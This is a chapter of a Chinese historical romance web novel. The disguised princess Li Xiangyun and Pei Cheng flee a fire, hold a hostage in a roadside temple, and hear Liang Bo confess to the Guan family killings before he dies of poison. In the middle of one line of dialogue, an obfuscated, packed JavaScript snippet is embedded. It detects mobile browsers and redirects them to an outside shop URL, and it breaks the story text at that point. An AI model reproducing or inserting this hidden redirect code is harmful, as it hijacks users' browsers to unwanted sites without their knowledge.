她睁大眼睛,但是黑暗中只能看见裴承模糊的轮廓。 唯有唇齿深.入相贴的感受。 软,湿,滑。 这完全不是她刚刚“蜻蜓”点水的亲吻,更深,更细致,更让人心魂俱颤。 李相筠从未感受过这些。 一股凉意从咽喉蔓延,如一条线贯穿而下,灼.热的身体立刻被舒.解许多。 手脚都软了,她被放倒在地上,干枯的稻草支棱在她脸侧,擦过肌肤,留下微微的刺痛,她感觉到面前沉下了一道阴影。 裴承重新压下脸,吻上她的唇。 他的舌.尖不知疲倦地探索她,感受她。 就好像要把她整个吃掉。 43.关家 李相筠心脏怦怦狂跳。 未知的悸动带来的更多是恐惧,她就好像躺在波澜起伏的水面上,身体被波浪推动,一浪高一浪低。 两人的呼吸交织在一起,近在耳畔。 那急促的气息愈发催人情.动。 李相筠的身体一半热一半冷,裴承的手很凉,可是他却很吝啬,在她的皮肤上只轻轻掠过,从不久留,她忍不住弓起腰,想要紧紧贴住那冰凉,但是裴承忽然抬起身,离开了她的唇。 “不能……” 李相筠喘.着气,睁开眼睛,但是看不清只能努力睁大眼睛,“什么?” 裴承松开她的手,翻到她身侧与她并排躺着,他把手背盖在眼睛上,呼吸急促,声音也断断续续,先是在自语,“……我们不能……” “不能什么?”李相筠撑着胳膊肘,支起上身,看向身侧裴承的身影,用手背贴了贴自己的脖颈脸颊,欣喜道:“好像有点用,身体没有那么热了,不如我们彻底把这蛊毒解了吧?” 李相筠看不清,手撑在裴承的胸膛上。 裴承的身体一颤,那肌肉紧绷瞬间变得像绷紧的鼓面,手感还不错,李相筠还故意压了压,“怎么又不说话?裴承你哑巴了?” “李相筠,在你们中原,男女无媒无聘便叫苟且,你虽是当郎君养大,但到底还是……” 李相筠听懂了,抢过话头道:“我都不在乎,你在意什么?裴执玉我从前没发现你胆子比我还小啊!你这样还算真郎君吗?” 论嘴仗,李相筠就没有服过软。 裴承咬着牙,握住她的手往下带。 李相筠的声逐渐小了,她瞪大眼睛,盯着黑暗中的裴承,“这什么东西?” 怎么感觉像是芷姐给她准备的那假物,她原本在汤池看过裴承的,原本还道区区小物,芷姐干什么弄一个太夸张的,难道是要她这个太子“雄风”威慑众人? 不曾想到裴承的居然是会变化! “你都不看书的吗?”裴承有些无奈,但为了劝退李相筠,他一时也想不到什么理由,低声道:“男女交.合,就要上接下通。” 李相筠虚心请教问:“什么叫上接下通。” “以此物纳女身,方为下通。”裴承语气平淡,就像是教书先生。 李相筠观过避火图,见过上面的姿.势,实想不到这东西要怎么放进她身体里,正要再问。 裴承支起身,抬头望着合拢的板顶,那缝隙里隐隐约约有亮光,“外面着火了。” 李相筠仔细闻,才闻到一股焦味,登时站起来,“这死老头果然是要害我性命!”她又拽起裴承,“你得跟我走!” 把裴承留在这里,万一烧死了,她日后这什么该死的月蛊发作起来,岂不是要热死她? 这次裴承没有拒绝,顺着她的力就起身,但是起到一半,就被李相筠扣住下巴深深吻了口。 “你……” 李相筠抿了抿唇,“这样缓.解一下也好。” 两人从仅人高的暗道出去,行了快半个时辰的功夫才走到尽头,裴承从后边绕到李相筠身前,在头顶的石壁上摩挲了一阵,往上用力推开,枯叶碎枝灰尘齐齐落下,李相筠掩唇狂咳不止,再睁眼看,裴承已经爬了上去,她赶紧跟上。 出口在一处枯树里。 这棵老树足有三人抱那般粗,内部被挖空,正好藏住了这个出口。 “这是哪?” 李相筠环顾四周,感觉他们应该已经不在城内了。 “土地庙。” 李相筠走到裴承身侧,果不其然看见夕阳下破旧的屋檐。 她去找蛊医的时候已经临近下午,耽搁了那么久时间,现在已到日落黄昏之际。 破瓦烂墙也被金光照出几分意境。 “也不知道飞星飞雨怎么样了,那蛊医为什么要放火烧你?” “不是他,他最看重的就是日月蛊,不会杀我。”裴承拨开及腰的野草,走近土地庙,他的步路蹒跚,李相筠下意识跨前几步,扶住他,免得他摔倒了。 “你怎么这么虚弱?受伤了?” 裴承深深吸了口气,“我身上的日蛊发作的次数比你多,强抑制后反噬的越多,不过也无妨,休息一夜就无事了,飞星飞雨还有小飞在不会有事,他们也知道下面的暗道会找过来。” 李相筠“哦”了声,又道:“不过你们怎么对那怪老头的地盘这么熟悉?” “是我派人给他修缮的。” 李相筠耸了下肩,暗骂了句老奸巨猾。 两人已经走近土地庙,李相筠仔细观察脚下的痕迹,拽着裴承停了下,摸出刀才继续往里面走。 “里面没有人。” 裴承虽然虚弱,但是五感还在,只要仔细聆听,再小的动静也逃不过他的耳朵。 李相筠用匕.首把门上的蜘蛛网挥开,道:“小心点总是好的,还不知道是什么人放火要害我们。” 两人走到土地庙,这庙外面看着破败,里面倒还算整洁干净,对着门的深处是一尊泥糊的土地神像,神像前是一张罩着带絮红棉布的神案,上面香炉、贡品样样不少,只是果子糕点都干瘪了,应是好一阵没有人来。 “还凑合,在这里休息一会吧。” 李相筠把裴承扶到土地庙神像后边,这里还有几张散落的桌布和一些积灰的蒲团。 裴承坐下后,李相筠又走到前面,翻找了几个干瘪的果子,在衣裙上擦了擦,见到自己身上还穿着裙,眉头就皱了起来。 这样可不行,倘若在外面遇到熟人,她这幅装扮那是要出大事。 把干瘪果子丢给裴承,李相筠就开始拆头上的饰品,丁零当啷扔在地上,散落的头发还有些弯曲,就像是水中茂盛的水草。 “你做什么?”裴承从腿上捡到一只耳坠。 “转过身去,把你的外衣给我。” “你要我衣服?……”裴承刚把视线从果子上挪起,就看见李相筠的后背。 赤.裸的,光洁的,玉白的后背。 滋啦一声,李相筠又蹲下来把衬裙撕成长条,“当然,我要换男装,这裙子拖泥带水,珠钗叮呤当啷,万一有什么,我动手也不方便,你在看什么?——” 裴承倏然把脸转回去。 李相筠哈哈哈笑了起来,前仰后翻,乐不可支,她扭头道:“裴执玉,你现在怎么这么听话了,其实你看也没事,我又少不了块肉,再说了你全身我都看过了,我又不吃亏。” 裴承从齿缝里挤出三个字,“李相筠!” “怎么还急上了,不过实话说,你的身材还是不错的,在我见过的人里面可以排前列啊,用不着不自信。” 裴承扭回头,眉心微蹙,“你见过几个?” “也不多,一只手能数过来吧。”李相筠冲他晃了晃手,还很得意。 “五个?”裴承不禁道:“你是女郎,不能随便看郎君的身体。” “我皇兄也在,更何况那时候我还小。” 李相筠眉一挑,戏谑道:“那你是郎君怎么又随随便便看女郎身体?” 裴承睫毛一颤,视线低垂,看见李相筠用自己白皙的指头点了点自己赤.裸的肩膀。 雪肤乌发,如此对比鲜明,也是这般活色生香。 裴承抿唇,淡然道:“是你让看的。” 李相筠狡黠一笑,突然转身,“好呀,那你看。” 裴承下意识把眼睛闭紧,就听李相筠又在旁边笑了起来。 小太子性子恶劣这个评价不假,从前裴承和她棋逢对手也不会吃亏,但现在竟叫她三番五次戏耍在指间毫无办法。 这是为什么? 裴承也弄明白,只是看着面前一脸乖张的女郎觉得她就该是这样,她骄傲、神气、顽劣也没有什么不好。 倘若怀贤太子还在,她一定会骄傲更神气更顽劣。 思及此,裴承又睁开眼。 李相筠撕了衬裙裹住胸,只有带有薄肌的臂膀和平坦结实的腹部露在外边,还能看见手臂上、腰腹上的伤痕。 伤痕并没有给她带来孱弱的错觉。 因为她总是朝气蓬勃,似是每一寸肌肤都蕴含力量,就像一只身手矫健的猎豹。 漂亮,强大并且勇敢。 裴承把自己的外衣解开准备递给李相筠,她不愿意穿裙子也不能空着。 李相筠把扔在地上的首饰捡起来,用一块布包起来,这些可都是金的,万一有事还能换个路费。 她可不是只知奢靡浪费的人,现在出门在外,精打细算更重要。 忽然裴承从后面用衣服把她裹着,张开的双臂就好像把她抱在其中。 李相筠没防着他这么一下,心脏都漏跳了半拍,腹腔里好像藏了一只小虫,震翅狂扇,“你……” 刚出口的声音被压住,耳边鬓角的发丝微动,热息夹带着一声低语:“有人来了。” “……” 裴承的五感超绝,李相筠的反应固然也算得上敏锐,但也比不上他。 不过,就为这个,他也用不着突然抱住她。 “放手,我早听到了。” 裴承松开手,李相筠揉了把耳朵,就把裴承的外衣穿好,又利落地把那些裙啊披帛团起来,塞到神像的基座下,头发随便扒拉两下披在身后。 恰恰弄完这些,土地庙外果然传来脚步声。 一声沉,一声轻。 像是一对赶路的男女。 “安城城门已经关了,今夜我们赶不进去,只能先在这里将就一夜。” 李相筠和裴承对看一眼。 这是梁博的声音。 梁博说完,对方并没有搭腔。 两人走进土地庙。 只有两人,李相筠有把握可以制服,她抽出匕.首,注意外边动静,准备伺机而动,裴承却忽而按住她的手。 李相筠回头,裴承朝她摇了摇头。 他靠着神台,额头尽是汗水,脸色苍白,李相筠摸了下他的脸,冰冷的。 李相筠轻轻把刀放下,握紧他的两只手,凑到他耳边道:“你还好吗?” 湿.热的气流拂过耳廓,裴承的眼睫颤了颤。 不用回答,李相筠也看得出他状态不好,或许他是不想这个样子被梁郎君看见。 “我不想去见蛊医,我也不想解什么毒,你放我回去。” 不出预料,梁博带着的人是关娘子。 那日因为李世勋的缘故她并不知道后面发生了什么事。 不过李柏寒居然能让梁博跑了,真没用! “这里还有些干柴,你到后边去,把外衣扔出来,我帮你烘干,你身子弱,不能再受寒了。” 李相筠警惕起身,移到墙边。 “不必。”关娘子冷漠拒绝他。 李相筠对墙边的裴承使了个无事的眼神。 “兄妹”俩先前的话题没谈拢,于是一直无话可说,只有火烧木头的噼啪声响。 谁能想这安静的土地庙里内外居然有四个人呢? 哒哒哒——马蹄声由远至近。 李相筠皱起眉,今日这是撞什么大运,一个小小土地庙还真是络绎不绝。 “李世子?什么风把你吹到这里来了。” 李柏寒? 李相筠微微松了口气。 但随后传来的声音令她再次悬起心。 “哼,我就猜到你们差不多时候要到这里了找胡老救命了,果不其然啊,虽然你跑得快,但是目的很明确。” 这张狂得意的声音不是李柏寒,而是李世勋。 关侍郎道:“你对胡老做了什么?” “不用看了,我可没有带胡老来,就是想和你好好聊一聊,聊一聊赤乌流寇的事情。 “我与你没什么好说,出去!” 李世勋非但没有出去,他的随从反而一窝蜂涌进来,填满小小的土地庙。 这还真是庙小妖风大,李相筠无奈地看着裴承,还不知道今晚能不能平安度过。 土地神座本来两边能绕到后边,但因为这座土地庙香火并不旺,故而被附近村民堆放许多杂物,譬如竹竿、木板破布之类,彻底堵住了一侧,而另一侧唯一的出口前坐着关娘子。 “不介意一起烤烤火吧。” 李世勋也没有等人回答就坐下,笑嘻嘻道:“梁郎君,关娘子?” 裴承看李相筠。 李相筠点了下头。 她早在矿洞就得知关博不姓关而姓梁,他想必就是梁家那位被扫地出门的大郎君的孩子。 “不想说,那我就把我知道的告诉关娘子,关娘子肯定也很好奇。” 没人捧场,李世勋也谈性盎然。 “永光二十三年,安宗皇帝还在位,任官选才极为苛刻,梁家世代商贾,低人一等,梁家大郎欲买个官身出人头地,替梁家光宗耀祖,不过潘知府对梁家娘子一见钟情,借机要挟梁家卖女求官,如此好事梁家该高兴啊,不过呢,梁家夫人最是心疼女儿,当然不同意自己的亲女为一个庶子铺路!刚好那梁娘子对关家郎君心生爱慕非君不嫁,于是梁家夫人便做主,促成了女儿的婚事,让大郎君竹篮打水一场空,啧啧十二月的天,下着雪,梁家大郎一家子都被赶出了府,过的很不容易吧小时候?” 土地庙里只有李世勋愉快的笑声。 他能找到这些隐秘的消息也是费了不少功夫,不卖弄一下又怎能畅快。 “梁大郎君离开梁家后酗酒成性,成日打骂妻儿,没过几年梁大郎君的娘子便因病去世,梁大郎君把儿子卖给了南风馆,但因为小儿长相嘛不够出众,只能伺候小倌,洗恭桶洗被褥什么的啧啧,你小子运气是真的不错,从南风馆逃出来又被关家收留,成了关小郎君陪读的书童。” “原本日子这么过也没什么不好的,可是万万没有想到,你碰到了梁家人,知道了自己的身世,关家对你虽好,但是害你家破人亡的仇家怎可久待,所以你离开了关家,恰好又遇到卫家要给太子讨伐赤乌流寇,于是你就入了卫家军。” “好了。”李世勋用力拍了拍手掌,“现在轮到梁郎君讲了,到卫家营,卫衷和你密谋了什么?” 图穷匕见,原来问出卫家才是他最终的目的。 卫家的事也一直都是李相筠心里的迷题。 皇兄重用卫家,卫家却以叛逃回报,圣人压下不追究,但是朝廷内外都有怨言,常有不利皇兄的传闻散播。 梁博道:“有何可说,怀贤太子已死,你们想怎么编排就怎么编排,圣人子嗣单薄,朝臣们吵吵闹闹要换储君一事从未平息,众人想逼圣人也行辉宗之举,可这世上又有哪个能有安宗之能!” 这就是说他李世勋哪配得上和安宗一比高低。 李世勋倏然站起,恼羞成怒,“你不愿意说,我也知道,当年卫家叛逃是李相宇密信唆使!而你,你是赤乌流寇大当家最信任的手下,也是卫家派去赤乌流寇的细作,对不对!” “越编越离谱,李世子这么闲,何不去村口搭个戏台子。” “呵,你这个人真是冷心冷肠冷血,恐怕只有关娘子能让你动容,来人啊!——“ 李世勋仗着人多,可是梁博却也不是手无缚鸡之力的书生,他话音未落,几方人同时动手。 一声惊叫,一声闷哼。 惊叫是跑到神像后的关娘子,闷哼是忽然被刀挟持住的李世勋。 “欣儿!”梁博虽然拿下了李世勋,但不想关娘子那边也出了状况。 关娘子躲到后边是本能反应,李相筠拿刀抵住她脖颈也是本能反应,只是这一下,她想当个旁观者不行,只能挟着关娘子走出来。 “李相筠!” “太子!” 梁博与李世勋同时喊出声。 小太子散发玉面,长袖挽臂,衣下赤脚,无论是形容衣冠不整,还是突然出现,都令人吃惊。 “两位好啊。”李相筠看见梁博一个劲紧张盯着她横在关娘子脖子上的刀,笑道:“梁郎君你最好别放开李世勋。” “我为什么要听你的话?”梁博对李相筠也没有什么好感,上一次两人碰面的时候,李相筠差点割开他脖子。 李相筠反手扣着关娘子两只手,手上的刀在关娘子脖颈上比划,“因为你放了他,我就杀了关娘子。” “殿下……”关娘子讷讷。 李相筠却不为所动,只看着梁博和李世勋两人。 梁博气得咬牙,但是他知道太子这疯子一定做的出这样的事。 李世勋恶狠狠道:“我要把你们都杀了!” 梁博不会让关娘子出事,把气转发在李世勋身上,学着上一次李相筠对付他的法子,狠狠撞了下他的脖颈,“闭嘴!” 李世勋呛得死去活来,差点没把肺咳出来。 “等等,我拿个东西。”李相筠拉着关娘子绕到神像后,关娘子猛一眼看见裴承,险些又叫出声,但是李相筠及时捂住她的嘴。 裴承肉眼可见的虚弱,似乎连一只手都抬不起来。 李相筠小声对她道:“别动,别跑。” 关娘子眼睛发酸,她还以为太子真的不顾他们的交情,刚刚恶声恶气就像仇人。 她老老实实站着没有挣扎逃跑,就眼睁睁看着小太子走到裴少保面前,蹲下身,把住他的下巴,低下头,张口亲了上去。 关娘子倒吸一口气,李相筠没事人般站起来,擦了擦嘴把刀举起来重新架在她脖子上。 “走。” 关娘子只来得及匆匆看了眼裴少保。 对不起,她现在自身难保,也帮不了他什么。 不过小太子这个人虽然荒唐胡闹了些,但胜在……胜在……性情耿直,人也长得好看。 还不知道要和外面那伙人周旋多久,李相筠怕裴承撑不下去,才抽空帮他一下。 李相筠让关娘子坐在身前,她用三个蒲团垫起来坐在高处,正在明暗交界的地方,既能观察到裴承的处境,也方便控制局面。 关侍郎挟持着李世勋坐在火堆另一边,靠着墙,在他们的右手边是李世勋带来的侍卫,他们不敢上前,就怕伤到世子。 “长夜漫漫,没酒没肉吗?”李相筠知道李世勋是个讲究的人,看后面侍卫手里还抱着铺地的毯子,抱着熏香的炉子就可见一斑,谁料事情发展成这样 ,李世勋也顾不上享受。 “你,就是你,别看了,还不去拿好酒来。” 被李相筠一手指住的侍卫浑身一激灵,小太子的恶劣脾性让人下意识遵从,可刚迈开两步,他回过头观察李世勋的眼色。 李世勋憋着一肚子闷气。 李相筠伸脚猛踹了下李世勋。 李世勋差点叫出声,咬着牙,破罐子破摔道:“去拿,给太子拿,多拿些!” 侍从果然挑来好几坛酒,又摆上三个碗,几个精心摆盘的小菜。 原本李世勋是打算拿下梁博后,边享受边审问,没想到李相筠忽然出现,抢走了他所有的风头! “刚刚我们说到哪里?卫家军,别看我,我与卫家毫无瓜葛,知之甚少,就等着你们二位解惑呢!” 李世勋即便知道也不想这么轻易告诉李相筠,梁博更是闭口不言。 “梁郎君既然没有话说,我们不妨谈谈梁郎君在长安犯的两件案子,第一件杀人画卷,第二间清心观女冠之死。” “李相筠!” “清心观?”关娘子忽然开口道:“你还与郡主师父们的死有关!” “欣儿……”关侍郎唇瓣蠕动了两下,又低下头。 李相筠喝着酒,淡定地看着梁博瞬间红了眼。 要拿捏梁博实在太易如反掌,他虽然做了一堆恶事,但一碰到关娘子就偃旗息鼓。 “不,殿下,我想知道真相,到底还有多少事情,是他瞒着我。”关娘子完全不顾李相筠架在她脖颈上的刀,扭头看他。 “不想让我说,也行,那你说说赤乌流寇。” 梁博怒道:“李相筠你这样做和李世勋这样的人有什么区别?” 一下骂两个人。 李世勋忍住翻了个白眼。 李相筠笑道:“我们是同宗的兄弟,当然没有区别。” “你放屁,你是安宗那窃国贼的后代,我父王才是……” 李相筠横了他一眼,李世勋又咬着牙闭上了嘴。 李相筠喝着酒,慢慢道: “关娘子发现了梁郎君往来信件里有关赤乌流寇的记号,为寻求线索,在自己的画作里隐藏记号盼望寻找知情的人解惑,此举十分危险,不管出于什么目的,梁郎君都要防患于未然,故而他用调制的桂花水让发现线索的画主因裱画、赏画吸入慢性毒药,陆续死亡。随后关娘子失忆,再不记得此事,大理寺追查线索找到关府,梁郎君为引开嫌疑嫁祸郡主,又跟去清心观,女冠不是死于糕点,而是死在梁郎君手中。” 梁博道:“毫无证据,殿下怎么猜测都是假的。” “假不假你心里清楚,至于证据,迟早会有。”李相筠抓着关娘子,“我有她在手,不愁你不会吐露真言。” 无论是关博还是梁博,他都在意关娘子,这是他的弱点。 一个人有弱点,他就太好对付了。 “你!”梁博没有想到小太子能够无耻到这样的地步,“你就不怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261818|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我现在和李世勋合作。” 李世勋回过神,喜出望外,连连点头,“好好好!以前的事情既往不咎,我们联手一起把李相筠拿下!” 半晌没人搭理,就连身后的梁博都没了声。 李世勋转眼见李相筠一副看傻子的样子盯着他,勃然大怒,“你们耍我!” “事到如今,我们三哪还有联手的可能,长点脑子吧你!” 门外两个侍卫搓着胳膊,哆哆嗦嗦往门里看。 “真奇怪小太子喝了那么多下药的酒怎么还没昏过去?” “听闻太子千杯不醉,但也没说过药不到吧?” 小太子脚边都倒下两个酒坛子。 窸窸窣窣—— 一个问:“你有没有听见什么奇怪的声音?” 另一个道:“像是爬虫。” “爬虫怎么会有这么大的声音?” 火把往前伸,光亮也随之扩大范围,终于照亮远处的荒地,乌泱泱五彩斑斓一片的虫。 “虫!是虫!” 侍卫慌乱地扔掉火把,连滚带爬地进土地庙,口里大喊:“毒虫,是毒虫,是胡老的毒虫!” “毒虫?”李世勋瞪大眼睛,“不可能,胡老不是死了吗?!” 李相筠闻言哼声道:“原来是你在蛊医馆放的火。” “你怎么知道蛊医馆?”李世勋表现得很吃惊,不过外面的虫已经快要爬进来了,侍卫不敢靠近,全挤成一团。 “现在不是斗嘴的时候,老蛊师的毒物会要人命,我们得快点逃走!” “毒虫也怕火,用这些酒烧。” 李相筠用脚把酒坛踢过去,侍卫慌慌张张接了酒坛,撒在入口处。 李世勋急道:“你这样不是把我们也困在了火中吗?不行万万不行!我们要出去!” 侍卫们一听他的话,又举着火把趁门口的火势不大全冲出去,但是毒虫已经如潮水涌来,顿时响起一片毛骨悚然的惨叫。 人数再多,面对成千上万的毒虫也无用武之地。 “快快快撤!” 梁博站在侍卫之中,周遭都是火烧虫子的噼啪声,难闻的气味一阵阵扑来。 他环顾周遭,顿时惊道:“欣儿呢?” “李相筠怎么没有出来!”李世勋也发现少了人。 “报,世子!土地庙后边有个窗洞口破了,下面有新鲜的脚印!” 李世勋一拍大腿:“还不快追!” 另外一个侍卫又来禀告:“世子,梁博也趁乱跑了!” 李世勋气不可遏,他来这一趟本就是为了梁博与卫家。 现在太子没抓到,梁博也跑了! “快把这些毒虫毒蛇烧了!” “谁敢烧我的虫!” 虫蛇的尽头,出现了一个老人的身影。 李相筠知道有裴承在,那些毒虫根本算不了什么,更何况出去还是要落在李世勋的手上,好在飞星飞雨及时赶到,她们才从窗户处逃了出去。 几人趁着前面兵荒马乱往后边的林子深处走,李相筠道:“奇怪,追兵怎么没有追上来,难道都被毒死了?” “兴许是胡老到了,你与家主是没有瞧见,李世子在医馆里放了一把火,胡老气疯了!肯定不管不顾要杀了他的。”飞星边说边打了个哆嗦,好像惹毛胡老的人是他自己。 胡老那些折磨人的手段,只要见识过,没谁能不怕。 知道李世勋一时半会追不上来,李相筠就对旁边的娘子道:“关娘子刚刚我……” 关娘子裹紧自己身上的大氅,摇摇头,“我明白的,殿下不用多说……” “欣儿!” 就在他们要继续往前走的时候,后面传来一道声音。 是梁博。 李相筠回身挡在关娘子身前。 来人只有梁博一人,他的嘴唇青紫,扶着树杆喘着大气。 关欣没有回头。 “你中了胡老的毒!”飞星看见梁博露在袖子外的手,上面两个血洞还在往外渗着血。 “不要跟着我了!我不会跟你回去,也不会再看你一眼!你杀了我全阿耶阿娘和兄长,我却认你为兄……你能如此欺我瞒我!” “是!我罪有应得,可是我并不想伤害你,关家的事情是……是我对不起……” “你恨我父母是不是,恨我阿娘没有为了你父亲嫁给潘知府,恨她没有为了你父亲的前程牺牲自己的终身,所以……所以你要杀掉他们,当着我的面,杀了他们……” 几人同时回头看着关娘子。 没有想到当年关家的惨案就是发生在关娘子眼前。 “我……不是这样的,当年我随卫衷将军前去剿匪,赤乌流寇不同于一般的山匪流寇,他们纪律严明,固若金汤,若非亲信不能触碰其中机密,所以卫将军派我接近赤乌流寇并取得他们信任……” “这么说,你其实效忠卫家?”李相筠道。 飞星机灵道:“卫家的细作?” “卫将军需要我接近赤乌流寇,为取得大当家信任,卫家军还组织了一场围剿,我救下大当家进入赤乌流寇,但是其他人并不信任我,为此,他们要我亲自斩杀自己的义父母,我别无他法,唯有尽力保下你一人。” 说到这,梁博仿佛找到了底气,扬起声音道:“欣儿,我真的尽力了!若不这样做,不但是我还有你都会一起死在关府。” “可是你早就知道,他们要来泊州,要来羊集县,你没有告诉大家——”关欣歇斯底里喊道:“你亲自拿了刀,砍下了我父兄的头颅!” “我……” 梁博想起母亲死前拉着他的手,流下的最后的眼泪,也想起义母第一次牵起他的手把他领回家,年幼的欣儿从旁边笑着给他递来一块甜糕,他颠沛流离的幼年在这里得到了慰藉,但随后他的平静生活又被一个残酷的真相打破。 他一边带着感激,一边带着恨意,就好像两道相反的力在他身体里相互拉扯,他就快要被撕成碎片。 所以,他再不能待在关家,他舍不得欣儿,但继续待下去,他真的会发疯。 等他出人头地,也等时间抚平伤痛,他想,他还能再回来。 偏偏命运从来吝啬,不肯给他一点甜蜜。 要让他做下不可原谅之事。 他行的是正义之举吗? 铲除赤乌流寇能够保护更多的百姓,他也认为这是正义且正确的事。 他与卫家军上下都为之努力,为之头破血流,也在所不惜。 可是被牺牲掉的人呢? 罪孽就不存在了吗? 李相筠走近他,梁博已经体力不支,跪坐在地上。 “这是太子下的命令吗?” 梁博抬起头,他的脸已经呈青紫色,毒素扩散得很快,让他面无人色。 “告诉我!说话!”李相筠揪住他的衣襟,“是我皇兄下了的命令吗!” “殿下,不可靠近,他身上的毒已经扩散,毒素与他融合,他的皮肤、□□、鲜血都含有剧毒!”飞星上前拽住李相筠。 李相筠甩开他,继续逼问梁博。 “你说话啊!” 裴承环住李相筠的腰,“冷静点。” “裴承,你不是能够解毒吗?别让他死,我还有很多问题要问!” “来不及了,他走到这里时已经不可救了。”更何况他的血并不是所有人都能够承受。 “我,我不知道太子知不知情,我只听命于卫将军,可是后来,太子派折冲府追杀卫家军,我带着欣儿颠沛流离到达长安,想过平静的生活……” 可到了长安,他碰上赤乌流寇的二当家。 他既不能以已成叛徒的卫家军身份存活,也不能否认曾为赤乌流寇的一员。 为了活下去,为了保住关欣,他只能听命行事。 泥潭中的人想要自救是不可能,但也再没有人可以拉他一把。 “长安里,赤乌流寇还有谁?” “很多,殿下要追究,朝廷上下都要翻个底朝天……”梁博吐出一口黑血,靠在树干上,手臂、脖颈开始痉.挛,“他们不会坐以待毙。” “是不是赤乌流寇害死皇兄的,是不是他们,我皇兄查出了名单,那封信,严兴良当初要的信是不是赤乌流寇的名单!那信在哪里?” “殿下真不怕死,可以去问问姚相……”梁博笑了笑,“据我们所查,怀贤太子死前曾托执金卫送到两份东西,一份是给东宫,一份便是给他的老师姚相。” 姚相…… 为什么他从未向自己提起过皇兄曾给他一封信。 “家主,追兵要到了。”飞雨从前方探查过后回来提醒众人。 裴承对李相筠道:“我们走吧,也不会再说什么了。” 梁博的生命已经走到了尽头。 远处人头攒动,树下梁博一动不动,他扭头牢牢盯着关欣的背影,但她始终没有回头再看他一眼。 李相筠也不愿意走,她还想问更多的的事情,裴承只能把她揽过来带走。 “走吧。” “殿下!”梁博忽然又低声开口,“梁家的万年虫芝能救欣儿性命……若殿下愿意帮忙,我……臣将梁家商行奉上……” 李相筠沉默片刻,道:“我答应你。” 梁博扯出脖子上一枚老旧发绿的铜钱,递给李相筠。 “我们快走吧,不然说不定还要碰到胡老,我看他们跑得不像人样,说不定是胡老在后面追!”飞星和飞雨从胡老哪里跑出来时也搞了不少破坏,现在也怕被他秋后算账。 关欣随他们身后,走出很远,远到声音都传不到的地方,她的耳畔似乎隐隐约约听见一道叫唤。 “欣儿。” 她慢慢回过头,看着树下那道身影。 ——“欣儿、欣儿,我答应你,下一次见面时,我们永远不会分开……” 曾经的他说过的话,但他们再没有什么永远,唯有生死不见。 模糊的视线映出晃动的火光。 / 飞雨准备了马匹,几人骑快马很快就走出深林。 晨光熹微,照在他们身上,犹如镀上一层金光。 “回羊集县吧。” 虽然李相筠听完梁博的话,很想回长安去问姚相,可是羊集县还有不少事需要处理。 “好。”裴承应道。 飞星在后边挤眉弄眼,时不时拿手肘撞旁边的兄长,飞雨唇边带着怪笑,站在他肩头的小飞也贼眉鼠眼地转着眼睛,像在瞧什么热闹。 李相筠往自己身上一打量,才明白他们在看什么,她身上还穿着裴承的外衣。